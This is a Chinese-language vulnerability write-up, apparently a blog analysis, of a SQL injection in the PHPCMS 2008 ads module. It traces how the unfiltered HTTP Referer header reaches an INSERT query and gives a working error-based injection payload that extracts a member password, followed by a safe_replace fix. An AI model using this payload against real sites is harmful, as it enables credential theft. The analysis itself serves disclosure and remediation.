function show($placeid)...if($adses[0]["option"]){foreach($adses as $ads){$contents[] = ads_content($ads, 1);$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]","$_username","$ip",‘$this->referrer",‘$time",,"0")”);$template = $ads["template"] ? $ads["template"] : "ads";}}...sql语句中$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]","$_username","$ip",‘$this->referrer",‘$time",,"0")”);这里$this->referrer通过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。
<?php ...require MOD_ROOT."include/ads_place.class.php";require MOD_ROOT."include/ads.class.php";...?>在往上看看谁调用了/ads/include/commom.inc.php
<?php...require "./include/common.inc.php";...?>ad.php文件为用户可控文件,但ad.php有时不能访问,继续向上查找/data/js.php
<?phpchdir(‘../ads/");require ‘./ad.php";?>在用户访问首页时,会调用js.php,通过该文件可以提交有害字段,然后通过逐层调用,传入字段referer到危险方法show,引入SQL注入攻击。
referer=1", (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0")#这里我解释一下:因为漏洞的sql语句是INSERT是不回显的,所以可以使用盲注,这里的payload使用的floor报错注入。floor报错注入原理请参考:floor函数用法
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]","$_username","$ip",‘1",‘$time",(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0")#,"0")”);

03 漏洞修复
对相关字段进行过滤处理。
$referer = safe_replace($this->referer);$this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ("$ads[adsid]", "$_username", "$ip", "$referer", "$time", "0")");$template = $ads["template"] ? $ads["template"] : "ads";这里safe_replace是PHPCMS2008封装的过滤函数。